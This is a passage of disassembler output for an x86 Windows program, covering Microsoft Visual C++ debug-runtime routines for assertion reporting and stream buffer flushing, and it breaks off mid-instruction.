0C707EB94h dd 0A9445h, 4D8B0000h, 558B5194h, 6A529Ch, 48E8006Ah, 9002285Eh dd 7E3CE850h, 4589FFFEh, 0A0458BA0h, 0CFDEE850h, 4D8BFFFFh dd 8B118BECh, 98458902h, 51EC4D8Bh, 5298558Bh, 0B577E8h dd 8C48300h, 0E8658BC3h, 5098458Bh, 0FFCFD7E8h, 0F04D8BFFh dd 0D8964h, 5F000000h, 0E58B5B5Eh, 0CCCCC35Dh, 0CCCCCCCCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A9A0 proc near ; CODE XREF: sub_418D40+8Dp ; sub_419CB0+2Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp dword_4DB124, 1 jnz short loc_41A9B1 call sub_426B30 loc_41A9B1: ; CODE XREF: sub_41A9A0+Aj mov eax, [ebp+arg_0] push eax call sub_426B80 add esp, 4 push 0FFh call off_443B80 add esp, 4 pop ebp retn sub_41A9A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_4DB124, 1 jnz short loc_41A9E1 call sub_426B30 loc_41A9E1: ; CODE XREF: ___:0041A9DAj mov eax, [ebp+8] push eax call sub_426B80 add esp, 4 push 0FFh nop call near ptr 77E75CB5h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA00 proc near ; CODE XREF: sub_41AB10+113p ; sub_41AEA0+33p push ebp mov ebp, esp nop call near ptr 77EB36A5h pop ebp retn sub_41AA00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_41AA20 cmp dword ptr [ebp+8], 3 jl short loc_41AA25 loc_41AA20: ; CODE XREF: ___:0041AA18j or eax, 0FFFFFFFFh jmp short loc_41AA63 ; --------------------------------------------------------------------------- loc_41AA25: ; CODE XREF: ___:0041AA1Ej cmp dword ptr [ebp+0Ch], 0FFFFFFFFh jnz short loc_41AA37 mov eax, [ebp+8] mov eax, dword_443B8C[eax*4] jmp short loc_41AA63 ; --------------------------------------------------------------------------- loc_41AA37: ; CODE XREF: ___:0041AA29j mov ecx, [ebp+0Ch] and ecx, 0FFFFFFF8h test ecx, ecx jz short loc_41AA46 or eax, 0FFFFFFFFh jmp short loc_41AA63 ; --------------------------------------------------------------------------- loc_41AA46: ; CODE XREF: ___:0041AA3Fj mov edx, [ebp+8] mov eax, dword_443B8C[edx*4] mov [ebp-4], eax mov ecx, [ebp+8] mov edx, [ebp+0Ch] mov dword_443B8C[ecx*4], edx mov eax, [ebp-4] loc_41AA63: ; CODE XREF: ___:0041AA23j ; ___:0041AA35j ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_41AA80 cmp dword ptr [ebp+8], 3 jl short loc_41AA87 loc_41AA80: ; CODE XREF: ___:0041AA78j mov eax, 0FFFFFFFEh jmp short loc_41AAEA ; --------------------------------------------------------------------------- loc_41AA87: ; CODE XREF: ___:0041AA7Ej cmp dword ptr [ebp+0Ch], 0FFFFFFFAh jnz short loc_41AA99 mov eax, [ebp+8] mov eax, dword_443B98[eax*4] jmp short loc_41AAEA ; --------------------------------------------------------------------------- loc_41AA99: ; CODE XREF: ___:0041AA8Bj mov ecx, [ebp+8] mov edx, dword_443B98[ecx*4] mov [ebp-4], edx cmp dword ptr [ebp+0Ch], 0FFFFFFFCh jnz short loc_41AAC0 push 0FFFFFFF5h nop call near ptr 2860000h mov ecx, [ebp+8] mov dword_443B98[ecx*4], eax jmp short loc_41AAE7 ; --------------------------------------------------------------------------- loc_41AAC0: ; CODE XREF: ___:0041AAAAj cmp dword ptr [ebp+0Ch], 0FFFFFFFBh jnz short loc_41AADA push 0FFFFFFF4h call near ptr 2860000h nop mov edx, [ebp+8] mov dword_443B98[edx*4], eax jmp short loc_41AAE7 ; --------------------------------------------------------------------------- loc_41AADA: ; CODE XREF: ___:0041AAC4j mov eax, [ebp+8] mov ecx, [ebp+0Ch] mov dword_443B98[eax*4], ecx loc_41AAE7: ; CODE XREF: ___:0041AABEj ; ___:0041AAD8j mov eax, [ebp-4] loc_41AAEA: ; CODE XREF: ___:0041AA85j ; ___:0041AA97j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4DB7A4 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4DB7A4, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB10 proc near ; CODE XREF: sub_414C60+24p ; sub_414CF0+2Cp ... var_302C = dword ptr -302Ch var_3028 = dword ptr -3028h var_3024 = byte ptr -3024h var_3010 = byte ptr -3010h var_300C = dword ptr -300Ch var_3008 = byte ptr -3008h var_3007 = byte ptr -3007h var_2008 = byte ptr -2008h var_2007 = byte ptr -2007h var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_1000 = byte ptr -1000h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch push ebp mov ebp, esp mov eax, 302Ch call sub_417E20 push edi mov [ebp+var_3008], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_3007] rep stosd stosw stosb mov [ebp+var_2008], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_2007] rep stosd stosw stosb mov [ebp+var_1000], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_FFF] rep stosd stosw stosb lea eax, [ebp+arg_14] mov [ebp+var_1004], eax cmp [ebp+arg_0], 0 jl short loc_41AB7E cmp [ebp+arg_0], 3 jl short loc_41AB86 loc_41AB7E: ; CODE XREF: sub_41AB10+66j or eax, 0FFFFFFFFh jmp loc_41AE9B ; --------------------------------------------------------------------------- loc_41AB86: ; CODE XREF: sub_41AB10+6Cj cmp [ebp+arg_0], 2 jnz loc_41AC30 push offset dword_443B88 nop call near ptr 2840CCAh test eax, eax jle loc_41AC30 cmp dword_4DB128, 0 jnz short loc_41ABEE push offset aUser32_dll_0 ; "user32.dll" nop call near ptr 2690610h mov [ebp+var_300C], eax cmp [ebp+var_300C], 0 jz short loc_41ABE6 push offset aWsprintfa ; "wsprintfA" mov ecx, [ebp+var_300C] push ecx nop call near ptr 26A0000h mov dword_4DB128, eax cmp dword_4DB128, 0 jnz short loc_41ABEE loc_41ABE6: ; CODE XREF: sub_41AB10+B4j or eax, 0FFFFFFFFh jmp loc_41AE9B ; --------------------------------------------------------------------------- loc_41ABEE: ; CODE XREF: sub_41AB10+9Aj ; sub_41AB10+D4j mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"... lea ecx, [ebp+var_2008] push ecx call dword_4DB128 add esp, 10h lea edx, [ebp+var_2008] push edx nop call near ptr 28602BDh push offset dword_443B88 call near ptr 2840C7Bh nop call sub_41AA00 or eax, 0FFFFFFFFh jmp loc_41AE9B ; --------------------------------------------------------------------------- loc_41AC30: ; CODE XREF: sub_41AB10+7Aj ; sub_41AB10+8Dj cmp [ebp+arg_10], 0 jz short loc_41AC6D mov eax, [ebp+var_1004] push eax mov ecx, [ebp+arg_10] push ecx push 0FEDh lea edx, [ebp+var_1000] push edx call sub_4170D0 add esp, 10h test eax, eax jge short loc_41AC6D push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea eax, [ebp+var_1000] push eax call sub_4184C0 add esp, 8 loc_41AC6D: ; CODE XREF: sub_41AB10+124j ; sub_41AB10+147j cmp [ebp+arg_0], 2 jnz short loc_41ACA5 cmp [ebp+arg_10], 0 jz short loc_41AC85 mov [ebp+var_3028], offset aAssertionFaile ; "Assertion failed: " jmp short loc_41AC8F ; --------------------------------------------------------------------------- loc_41AC85: ; CODE XREF: sub_41AB10+167j mov [ebp+var_3028], offset aAssertionFai_0 ; "Assertion failed!" loc_41AC8F: ; CODE XREF: sub_41AB10+173j mov ecx, [ebp+var_3028] push ecx lea edx, [ebp+var_3008] push edx call sub_4184C0 add esp, 8 loc_41ACA5: ; CODE XREF: sub_41AB10+161j lea eax, [ebp+var_1000] push eax lea ecx, [ebp+var_3008] push ecx call sub_4184D0 add esp, 8 cmp [ebp+arg_0], 2 jnz short loc_41ACFA mov edx, [ebp+arg_0] mov eax, dword_443B8C[edx*4] and eax, 1 test eax, eax jz short loc_41ACE6 push offset asc_433D20 ; "\r" lea ecx, [ebp+var_3008] push ecx call sub_4184D0 add esp, 8 loc_41ACE6: ; CODE XREF: sub_41AB10+1C0j push offset asc_433D1C ; "\n" lea edx, [ebp+var_3008] push edx call sub_4184D0 add esp, 8 loc_41ACFA: ; CODE XREF: sub_41AB10+1AFj cmp [ebp+arg_4], 0 jz short loc_41AD42 lea eax, [ebp+var_3008] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push offset aSDS ; "%s(%d) : %s" push 1000h lea eax, [ebp+var_2008] push eax call sub_4172D0 add esp, 18h test eax, eax jge short loc_41AD40 push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_2008] push ecx call sub_4184C0 add esp, 8 loc_41AD40: ; CODE XREF: sub_41AB10+21Aj jmp short loc_41AD58 ; --------------------------------------------------------------------------- loc_41AD42: ; CODE XREF: sub_41AB10+1EEj lea edx, [ebp+var_3008] push edx lea eax, [ebp+var_2008] push eax call sub_4184C0 add esp, 8 loc_41AD58: ; CODE XREF: sub_41AB10:loc_41AD40j cmp dword_4DB7A4, 0 jz short loc_41AD9C lea ecx, [ebp+var_1008] push ecx lea edx, [ebp+var_2008] push edx mov eax, [ebp+arg_0] push eax call dword_4DB7A4 add esp, 0Ch test eax, eax jz short loc_41AD9C cmp [ebp+arg_0], 2 jnz short loc_41AD91 push offset dword_443B88 nop call near ptr 2840C7Bh loc_41AD91: ; CODE XREF: sub_41AB10+274j mov eax, [ebp+var_1008] jmp loc_41AE9B ; --------------------------------------------------------------------------- loc_41AD9C: ; CODE XREF: sub_41AB10+24Fj ; sub_41AB10+26Ej mov ecx, [ebp+arg_0] mov edx, dword_443B8C[ecx*4] and edx, 1 test edx, edx jz short loc_41ADEB mov eax, [ebp+arg_0] cmp dword_443B98[eax*4], 0FFFFFFFFh jz short loc_41ADEB push 0 lea ecx, [ebp+var_3010] push ecx lea edx, [ebp+var_2008] push edx call sub_414BE0 add esp, 4 push eax lea eax, [ebp+var_2008] push eax mov ecx, [ebp+arg_0] mov edx, dword_443B98[ecx*4] push edx call near ptr 2720000h nop loc_41ADEB: ; CODE XREF: sub_41AB10+29Bj ; sub_41AB10+2A8j mov eax, [ebp+arg_0] mov ecx, dword_443B8C[eax*4] and ecx, 2 test ecx, ecx jz short loc_41AE09 lea edx, [ebp+var_2008] push edx call near ptr 28602BDh nop loc_41AE09: ; CODE XREF: sub_41AB10+2EAj mov eax, [ebp+arg_0] mov ecx, dword_443B8C[eax*4] and ecx, 4 test ecx, ecx jz short loc_41AE88 cmp [ebp+arg_8], 0 jz short loc_41AE3D push 0Ah lea edx, [ebp+var_3024] push edx mov eax, [ebp+arg_8] push eax call sub_426D90 add esp, 0Ch mov [ebp+var_302C], eax jmp short loc_41AE47 ; --------------------------------------------------------------------------- loc_41AE3D: ; CODE XREF: sub_41AB10+30Ej mov [ebp+var_302C], 0 loc_41AE47: ; CODE XREF: sub_41AB10+32Bj lea ecx, [ebp+var_1000] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_302C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41AEA0 add esp, 14h mov [ebp+var_1008], eax cmp [ebp+arg_0], 2 jnz short loc_41AE80 push offset dword_443B88 nop call near ptr 2840C7Bh loc_41AE80: ; CODE XREF: sub_41AB10+363j mov eax, [ebp+var_1008] jmp short loc_41AE9B ; --------------------------------------------------------------------------- loc_41AE88: ; CODE XREF: sub_41AB10+308j cmp [ebp+arg_0], 2 jnz short loc_41AE99 push offset dword_443B88 nop call near ptr 2840C7Bh loc_41AE99: ; CODE XREF: sub_41AB10+37Cj xor eax, eax loc_41AE9B: ; CODE XREF: sub_41AB10+71j ; sub_41AB10+D9j ... pop edi mov esp, ebp pop ebp retn sub_41AB10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AEA0 proc near ; CODE XREF: sub_41AB10+351p var_1138 = dword ptr -1138h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = dword ptr -1114h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 1138h call sub_417E20 loc_41AEAD: ; CODE XREF: sub_41AEA0+3Cj cmp [ebp+arg_10], 0 jnz short loc_41AED8 push offset aSzusermessageN ; "szUserMessage != NULL" push 0 push 1DAh push offset aDbgrpt_c ; "dbgrpt.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41AED8 call sub_41AA00 loc_41AED8: ; CODE XREF: sub_41AEA0+11j ; sub_41AEA0+31j xor eax, eax test eax, eax jnz short loc_41AEAD push 104h lea ecx, [ebp+var_108] push ecx push 0 nop call near ptr 2680000h test eax, eax jnz short loc_41AF0A push offset aProgramNameUnk ; "<program name unknown>" lea edx, [ebp+var_108] push edx call sub_4184C0 add esp, 8 loc_41AF0A: ; CODE XREF: sub_41AEA0+54j lea eax, [ebp+var_108] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_414BE0 add esp, 4 cmp eax, 40h jbe short loc_41AF4D mov edx, [ebp+var_4] push edx call sub_414BE0 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax-40h] mov [ebp+var_4], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_4] push eax call sub_417770 add esp, 0Ch loc_41AF4D: ; CODE XREF: sub_41AEA0+82j mov ecx, [ebp+arg_C] mov [ebp+var_1110], ecx cmp [ebp+var_1110], 0 jz short loc_41AFA8 mov edx, [ebp+var_1110] push edx call sub_414BE0 add esp, 4 cmp eax, 40h jbe short loc_41AFA8 mov eax, [ebp+var_1110] push eax call sub_414BE0 add esp, 4 mov ecx, [ebp+var_1110] lea edx, [ecx+eax-40h] mov [ebp+var_1110], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_1110] push eax call sub_417770 add esp, 0Ch loc_41AFA8: ; CODE XREF: sub_41AEA0+BDj ; sub_41AEA0+D1j cmp [ebp+arg_0], 2 jnz short loc_41AFBA mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"... jmp short loc_41AFC4 ; --------------------------------------------------------------------------- loc_41AFBA: ; CODE XREF: sub_41AEA0+10Cj mov [ebp+var_1114], offset dword_433E6C loc_41AFC4: ; CODE XREF: sub_41AEA0+118j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41AFD9 mov eax, [ebp+arg_10] mov [ebp+var_1118], eax jmp short loc_41AFE3 ; --------------------------------------------------------------------------- loc_41AFD9: ; CODE XREF: sub_41AEA0+12Cj mov [ebp+var_1118], offset dword_433E6C loc_41AFE3: ; CODE XREF: sub_41AEA0+137j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41AFFF cmp [ebp+arg_0], 2 jnz short loc_41AFFF mov [ebp+var_111C], offset aExpression ; "Expression: " jmp short loc_41B009 ; --------------------------------------------------------------------------- loc_41AFFF: ; CODE XREF: sub_41AEA0+14Bj ; sub_41AEA0+151j mov [ebp+var_111C], offset dword_433E6C loc_41B009: ; CODE XREF: sub_41AEA0+15Dj mov eax, [ebp+arg_10] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_41B01F mov [ebp+var_1120], offset asc_433E58 ; "\n\n" jmp short loc_41B029 ; --------------------------------------------------------------------------- loc_41B01F: ; CODE XREF: sub_41AEA0+171j mov [ebp+var_1120], offset dword_433E6C loc_41B029: ; CODE XREF: sub_41AEA0+17Dj cmp [ebp+arg_8], 0 jz short loc_41B03A mov edx, [ebp+arg_8] mov [ebp+var_1124], edx jmp short loc_41B044 ; --------------------------------------------------------------------------- loc_41B03A: ; CODE XREF: sub_41AEA0+18Dj mov [ebp+var_1124], offset dword_433E6C loc_41B044: ; CODE XREF: sub_41AEA0+198j cmp [ebp+arg_8], 0 jz short loc_41B056 mov [ebp+var_1128], offset aLine ; "\nLine: " jmp short loc_41B060 ; --------------------------------------------------------------------------- loc_41B056: ; CODE XREF: sub_41AEA0+1A8j mov [ebp+var_1128], offset dword_433E6C loc_41B060: ; CODE XREF: sub_41AEA0+1B4j cmp [ebp+arg_4], 0 jz short loc_41B071 mov eax, [ebp+arg_4] mov [ebp+var_112C], eax jmp short loc_41B07B ; --------------------------------------------------------------------------- loc_41B071: ; CODE XREF: sub_41AEA0+1C4j mov [ebp+var_112C], offset dword_433E6C loc_41B07B: ; CODE XREF: sub_41AEA0+1CFj cmp [ebp+arg_4], 0 jz short loc_41B08D mov [ebp+var_1130], offset aFile ; "\nFile: " jmp short loc_41B097 ; --------------------------------------------------------------------------- loc_41B08D: ; CODE XREF: sub_41AEA0+1DFj mov [ebp+var_1130], offset dword_433E6C loc_41B097: ; CODE XREF: sub_41AEA0+1EBj cmp [ebp+var_1110], 0 jz short loc_41B0AE mov ecx, [ebp+var_1110] mov [ebp+var_1134], ecx jmp short loc_41B0B8 ; --------------------------------------------------------------------------- loc_41B0AE: ; CODE XREF: sub_41AEA0+1FEj mov [ebp+var_1134], offset dword_433E6C loc_41B0B8: ; CODE XREF: sub_41AEA0+20Cj cmp [ebp+var_1110], 0 jz short loc_41B0CD mov [ebp+var_1138], offset aModule ; "\nModule: " jmp short loc_41B0D7 ; --------------------------------------------------------------------------- loc_41B0CD: ; CODE XREF: sub_41AEA0+21Fj mov [ebp+var_1138], offset dword_433E6C loc_41B0D7: ; CODE XREF: sub_41AEA0+22Bj mov edx, [ebp+var_1114] push edx mov eax, [ebp+var_1118] push eax mov ecx, [ebp+var_111C] push ecx mov edx, [ebp+var_1120] push edx mov eax, [ebp+var_1124] push eax mov ecx, [ebp+var_1128] push ecx mov edx, [ebp+var_112C] push edx mov eax, [ebp+var_1130] push eax mov ecx, [ebp+var_1134] push ecx mov edx, [ebp+var_1138] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, off_443BA4[ecx*4] push edx push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"... push 1000h lea eax, [ebp+var_110C] push eax call sub_4172D0 add esp, 3Ch test eax, eax jge short loc_41B15D push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_110C] push ecx call sub_4184C0 add esp, 8 loc_41B15D: ; CODE XREF: sub_41AEA0+2A7j push 12012h push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library" lea edx, [ebp+var_110C] push edx call sub_427610 add esp, 0Ch mov [ebp+var_10C], eax cmp [ebp+var_10C], 3 jnz short loc_41B196 push 16h call sub_427350 add esp, 4 push 3 call sub_417960 loc_41B196: ; CODE XREF: sub_41AEA0+2E3j cmp [ebp+var_10C], 4 jnz short loc_41B1A6 mov eax, 1 jmp short loc_41B1A8 ; --------------------------------------------------------------------------- loc_41B1A6: ; CODE XREF: sub_41AEA0+2FDj xor eax, eax loc_41B1A8: ; CODE XREF: sub_41AEA0+304j mov esp, ebp pop ebp retn sub_41AEA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B1B0 proc near ; CODE XREF: sub_414CF0+71p ; sub_428050+400p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4DB560 jnb short loc_41B1E1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DB460[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_41B1FC loc_41B1E1: ; CODE XREF: sub_41B1B0+Dj call sub_420520 mov dword ptr [eax], 9 call sub_420530 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_41B226 ; --------------------------------------------------------------------------- loc_41B1FC: ; CODE XREF: sub_41B1B0+2Fj mov edx, [ebp+arg_0] push edx call sub_427BE0 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_41B230 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_0] push ecx call sub_427C70 add esp, 4 mov eax, [ebp+var_4] loc_41B226: ; CODE XREF: sub_41B1B0+4Aj mov esp, ebp pop ebp retn sub_41B1B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B230 proc near ; CODE XREF: sub_41B1B0+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov eax, [ebp+arg_0] push eax call sub_427A60 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_41B283 cmp [ebp+arg_0], 1 jz short loc_41B252 cmp [ebp+arg_0], 2 jnz short loc_41B26C loc_41B252: ; CODE XREF: sub_41B230+1Aj push 1 call sub_427A60 add esp, 4 mov esi, eax push 2 call sub_427A60 add esp, 4 cmp esi, eax jz short loc_41B283 loc_41B26C: ; CODE XREF: sub_41B230+20j mov ecx, [ebp+arg_0] push ecx call sub_427A60 add esp, 4 push eax nop call near ptr 267009Bh test eax, eax jz short loc_41B28C loc_41B283: ; CODE XREF: sub_41B230+14j ; sub_41B230+3Aj mov [ebp+var_4], 0 jmp short loc_41B295 ; --------------------------------------------------------------------------- loc_41B28C: ; CODE XREF: sub_41B230+51j nop call near ptr 26908EFh mov [ebp+var_4], eax loc_41B295: ; CODE XREF: sub_41B230+5Aj mov edx, [ebp+arg_0] push edx call sub_427980 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DB460[eax*4] mov byte ptr [edx+ecx+4], 0 cmp [ebp+var_4], 0 jz short loc_41B2D3 mov eax, [ebp+var_4] push eax call sub_420480 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41B2D5 ; --------------------------------------------------------------------------- loc_41B2D3: ; CODE XREF: sub_41B230+90j xor eax, eax loc_41B2D5: ; CODE XREF: sub_41B230+A1j pop esi mov esp, ebp pop ebp retn sub_41B230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B2E0 proc near ; CODE XREF: sub_414CF0+62p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi loc_41B2E6: ; CODE XREF: sub_41B2E0+2Ej cmp [ebp+arg_0], 0 jnz short loc_41B30A push offset dword_4334A4 push 0 push 30h push offset a_freebuf_c ; "_freebuf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_41B30A int 3 ; Trap to Debugger loc_41B30A: ; CODE XREF: sub_41B2E0+Aj ; sub_41B2E0+27j xor eax, eax test eax, eax jnz short loc_41B2E6 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 83h test edx, edx jz short loc_41B36D mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_41B36D push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_415860 add esp, 8 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 0FFFFFBF7h mov eax, [ebp+arg_0] mov [eax+0Ch], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 loc_41B36D: ; CODE XREF: sub_41B2E0+3Ej ; sub_41B2E0+4Bj pop edi pop esi pop ebx pop ebp retn sub_41B2E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jnz short loc_41B396 push 0 call sub_41B4F0 add esp, 4 jmp short loc_41B3C0 ; --------------------------------------------------------------------------- loc_41B396: ; CODE XREF: ___:0041B388j mov eax, [ebp+8] push eax call sub_418E90 add esp, 4 mov ecx, [ebp+8] push ecx call sub_41B3D0 add esp, 4 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_418F00 add esp, 4 mov eax, [ebp-4] loc_41B3C0: ; CODE XREF: ___:0041B394j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B3D0 proc near ; CODE XREF: ___:0041B3A6p ; sub_41B4F0+B1p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_41B420 add esp, 4 test eax, eax jz short loc_41B3E8 or eax, 0FFFFFFFFh jmp short loc_41B40F ; --------------------------------------------------------------------------- loc_41B3E8: ; CODE XREF: sub_41B3D0+11j mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 4000h test edx, edx jz short loc_41B40D mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_427CA0 add esp, 4 neg eax sbb eax, eax jmp short loc_41B40F ; --------------------------------------------------------------------------- loc_41B40D: ; CODE XREF: sub_41B3D0+26j xor eax, eax loc_41B40F: ; CODE XREF: sub_41B3D0+16j ; sub_41B3D0+3Bj pop ebp retn sub_41B3D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B420 proc near ; CODE XREF: sub_414CF0+53p ; sub_419FE0+A2p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 3 cmp edx, 2 jnz short loc_41B4BB mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 108h test ecx, ecx jz short loc_41B4BB mov edx, [ebp+var_8] mov eax, [ebp+var_8] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_C], ecx cmp [ebp+var_C], 0 jle short loc_41B4BB mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] mov ecx, [eax+8] push ecx mov edx, [ebp+var_8] mov eax, [edx+10h] push eax call sub_425880 add esp, 0Ch cmp eax, [ebp+var_C] jnz short loc_41B4A5 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_41B4A3 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFDh mov edx, [ebp+var_8] mov [edx+0Ch], ecx loc_41B4A3: ; CODE XREF: sub_41B420+72j jmp short loc_41B4BB ; --------------------------------------------------------------------------- loc_41B4A5: ; CODE XREF: sub_41B420+62j mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx mov [ebp+var_4], 0FFFFFFFFh loc_41B4BB: ; CODE XREF: sub_41B420+1Fj ; sub_41B420+2Fj ... mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_8] mov dword ptr [eax+4], 0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41B420 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B4E0 proc near ; CODE XREF: sub_418E70+3p push ebp mov ebp, esp push 1 call sub_41B4F0 add esp, 4 pop ebp retn sub_41B4E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B4F0 proc near ; CODE XREF: ___:0041B38Cp ; sub_41B4E0+5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov [ebp+var_8], 0 push 2 call sub_41B780 add esp, 4 mov [ebp+var_C], 0 jmp short loc_41B520 ; --------------------------------------------------------------------------- loc_41B517: ; CODE XREF: sub_41B4F0:loc_41B60Ej mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_41B520: ; CODE XREF: sub_41B4F0+25j mov ecx, [ebp+var_C] cmp ecx, dword_4DC7C0 jge loc_41B613 mov edx, [ebp+var_C] mov eax, dword_4DB7AC cmp dword ptr [eax+edx*4], 0 jz loc_41B60E mov ecx, [ebp+var_C] mov edx, dword_4DB7AC mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz loc_41B60E mov edx, [ebp+var_C] mov eax, dword_4DB7AC mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_C] push edx call sub_418ED0 add esp, 8 mov eax, [ebp+var_C] mov ecx, dword_4DB7AC mov edx, [ecx+eax*4] mov 